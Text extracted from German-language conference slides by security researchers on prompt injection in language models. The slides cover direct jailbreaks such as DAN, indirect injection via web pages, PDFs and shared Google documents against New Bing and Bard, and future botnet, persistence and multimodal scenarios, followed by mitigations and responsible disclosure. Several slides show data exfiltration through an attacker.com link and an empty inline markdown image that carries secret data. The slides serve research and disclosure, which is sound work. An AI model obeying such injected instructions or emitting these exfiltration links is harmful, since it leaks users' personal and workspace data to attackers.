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OWASP LLM Top 10

● Open Web Application Security Project 
(OWASP).

● Gemeinnützige Organisation aus USA.
● 2001 gegründet.
● International anerkannte Autorität für 

Industriestandards und Sicherheit. 

● Wichtige Veröffentlichungen: Top 10 
vulnerabilities in verschiedenen Bereichen 
/ unterschiedlichen Technologien. 

● Prompt injection (dírect and indirect) ist 
auf  Platz 1 der LLM threats.  

● Das basiert auf unserer Forschung. 
● Kai Greshake war im Autorenteam dieses 

Dokumentes.  

Quelle: https://arxiv.org/pdf/2302.12173.pdf
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CSW-Nr. 2023-249034-1032, Version 1.0

● Bundesamt für Sicherheit in der 
Informationstechnik (BSI) 

● Warnung vor der Indirect Prompt Injection 
Schwachstelle basierend auf unserer 
Forschung

●  Veröffentlicht im Juli 2023

Source: https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2023/2023-249034-1032.pdf
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Agenda

Bedrohung von Sprachmodellen in drei Stufen
● Model Misalignment
● Direct Prompt Injection
● Indirect Prompt Injection

Ausgewählte Beispiele

Zukünftige Szenarien
● Mehrstufige Injektion
● Botnetze
● Persistenz
● Multimodale Injektion
● Militäranwendungen

Gegenmaßnahmen (Mitigations)
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Model Misalignment

● Nicht alle Nutzer wissen, was ein Sprachmodell leisten kann und was 
nicht. 

● Antworten eines Chatbots werden als korrekte Information 
verstanden; das stimmt aber nicht notwendigerweise.

● Mögliche Risiken für den Benutzer:
○ Desinformation / halluzinierendes Sprachmodell. 
○ Bias (Verzerrung) in den Trainingsdaten. 

Level: 1
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Prompt Injection

● Nutzer, die mit unterschiedlichen Formulierungen der Eingaben 
experimentieren, können dem Sprachmodell unerwartete 
Reaktionen entlocken, z.B.
○ das Deaktivieren von Sicherheitsvorkehrungen.
○ Anzeigen von Informationen, die nicht angezeigt werden 

sollten. 
● Man findet im Internet sehr leicht Anleitungen, wie man den DAN 

Modus (“Do Anything Now”) einschaltet.
● Forscher der CMU haben diese Angriffsform automatisiert.

Level: 2
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Prompt Injection
Level: 2

Quelle: https://arxiv.org/pdf/2307.15043.pdf
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Was passiert, wenn die Anweisungen 
nicht vom Benutzer kommen?
Wir müssen hierbei berücksichtigen:
● LLMs werden in Anwendungen integriert.

○ APIs erlauben externen Zugang zum LLM.
○ Plugins erlauben Zugang zu anderen Anwendungen oder der “echten Welt”.
○ Zugriff auf externe und interne Daten ist möglich. 

● Von einer Kompromittierung wären sehr viele Nutzer betroffen. 
● Anwendungsgebiete umfassen auch sehr kritische Bereiche, beispielsweise:

○ Rechtsberatung.
○ Sicherheits-Assistenten.
○ Militärische Anwendungen.

Kurz: 
Die Möglichkeit, einen bösartigen Prompt extern injizieren zu können, wäre eine Katastrophe. 
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Not what you’ve signed up for… 
Wir haben das mal analysiert. (Februar 2023, update Mai 2023)

Source: https://arxiv.org/pdf/2302.12173.pdfAIS
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Indirect Prompt Injection 
Was passiert, wenn die Anweisungen nicht vom Benutzer kommen?

Quelle: https://arxiv.org/pdf/2302.12173.pdf
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Indirect Prompt Injection
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Agenda

Bedrohung von Sprachmodellen in drei Stufen
● Model Misalignment
● Direct Prompt Injection
● Indirect Prompt Injection

Ausgewählte Beispiele

Zukünftige Szenarien
● Mehrstufige Injektion
● Botnetze
● Persistenz
● Multimodale Injektion
● Militäranwendungen

Gegenmaßnahmen (Mitigations)
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Beispiel: New Bing



16

Beispiel: New Bing (Wetter)

Indirekte (Web) Injektion:
Der Nutzer soll seinen Namen 
verraten. Ausleitung über einen 
Link. 



Example: New Bing (Reiseplanung)



Example: New Bing (Reiseplanung)

attacker.com/John%20Doe/paris
-landmarks.com
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Stealth Exfiltration
Including Inline Markdown Images

Empty Inline Markdown Image:

![-](attacker.com/<secret-data>)

No user action / consent required!



20

Beispiel: New Bing (Textzusammenfassung) 

Quelle: https://www.vice.com/en/article/7kxzzz/hackers-bing-ai-scammer
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Beispiel: New Bing (Textzusammenfassung)
Das Sprachmodell arbeitet hier selbständig
  



22

Beispiel: Bewerbungsprozess hacken.
Zunächst war es eigentlich nur ein Meme. 
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Beispiel: Bewerbungsprozess hacken.
Zunächst war es eigentlich nur ein Meme. 

Source: https://kai-greshake.de/posts/inject-my-pdf/
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Beispiel: Bewerbungsprozess hacken.
Zunächst war es eigentlich nur ein Meme. 

Source: https://kai-greshake.de/posts/inject-my-pdf/
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Google Bard
Gezielter Angriff auf Google Workspace Data (September 2023)

● Ein Google Dokument wird mit dem Empfänger 
geteilt.  

● Der Empfänger öffnet Bard.
● Das manipulierte Dokument ist automatisch im 

Dialog-Kontext. T
● Bard leitet Daten aus dem Workspace an den 

Angreifer aus. 
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Zukünftige Szenarien
Mehrstufige Injektion
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Zukünftige Szenarien
Mehrstufige Injektion
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Zukünftige Szenarien
Anweisungen von einem C&C Server -> LLM Botnetze 
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Zukünftige Szenarien
Infizieren des lokalen Speichers -> Persistenz 
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Zukünftige Szenarien
Multimodale Injektion (1)
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Zukünftige Szenarien
Multimodale Injektion (2)

Quelle: https://arxiv.org/abs/2307.10490
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Zukünftige Szenarien
Multimodale Injektion (3)

Quelle: https://arxiv.org/abs/2307.10490
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Multimodale Injektion
Weitere Beispiele

Source: https://twitter.com/fabianstelzer/status/1712790589853352436 Source: https://twitter.com/goodside/status/1713000581587976372
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Zukünftige Szenarien
Militärische Anwendungen

Quelle: https://scale.com/donovan
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Zukünftige Szenarien
Militärische Anwendungen

Quelle: https://scale.com/donovan
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Zukünftige Szenarien
Militärische Anwendungen

Quelle: https://scale.com/donovan
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Mitigations (Gegenmaßnahmen)
Können wir Indirect Prompt Injection verhindern?

1. Begging. 
2. Retraining.
3. Segmenting.
4. Supervisor LLM.
5. Sandboxing / Absichern der APIs.



Mitigations
Unser Ansatz: LLM “Betriebssystem”

● Wie so häufig liegt die Herausforderung im 
Ausbalancieren von: 
● Kosten
● Risiko
● Nützlichkeit

Cost

Utility Security



Mitigations 
Unser Ansatz: LLM “Betriebssystem”

● Sprachmodelle sollten nicht als monolithische Systeme mit 
priviligierten Berechtigungen genutzt werden. 

● Es ist notwendig, sie in einen Sicherheitskontext einzubetten.

● Einige Konzepte hierfür können wir aus dem Bereich 
Betriebssysteme übernehmen: 

● Rechteverwaltung

● Prozesstrennung

● hypervisor

● …

● Wir fügen eigene Konzepte hinzu (taint tracking etc.)

● Eine Lösung ist derzeit in Arbeit. 



42

Responsible Disclosure
Verantwortungsvolles Offenlegen von Schwachstellen.

● Zum Zeitpunkt unserer Veröffentlichung waren alle Angriffsszenarien spekulativ.
● Tests wurden unter selbstgeschaffenen Laborbedingungen durchgeführt.
● Sobald sich unsere Vermutungen bestätigten, informieren wir umgehend:

○ OpenAI 
○ Microsoft
○ Bundesamt für Sicherheit in der Informationstechnik (BSI).
○ Später auch Google
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Zusammenfassung

● Im Februar haben wir über eine mutmaßliche Schwachstelle in Sprachmodellen 
spekuliert. 

● Wir hatten recht.
● Sprachmodelle sind inhärent unsicher.

○ Sie können sehr gut Anweisungen in natürlicher Sprache ausführen.
○ Sie unterscheiden nicht zwischen Anweisungen und Informationen.
○ Sie unterscheiden nicht zwischen sicheren und unsicheren Quellen. 

● Es gibt keine wirkungsvollen Gegenmaßnahmen.

● Bei der Integration von Sprachmodellen in Anwendungen ist Vorsicht geboten.
● Ausführliche Tests auf die hier beschriebenen Schwachstellen sind notwendig. 
● Wir arbeiten an einer besseren Lösung.
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Weiterführende Informationen
Bleiben Sie auf dem laufenden

● Unser youtube-Kanal enthält aktuelle Vorträge. 
● Wir veröffentlichen regelmäßig auf LinkedIn. 

● Buchempfehlung:
Michael Groß / Jörg Staff (Hrsg.)
KI-Revolution der Arbeitswelt
Haufe 
14. Mai 2023

mit einem Kapitel über Sicherheit von Sprachmodellen 
von Kai Greshake und Christoph Endres
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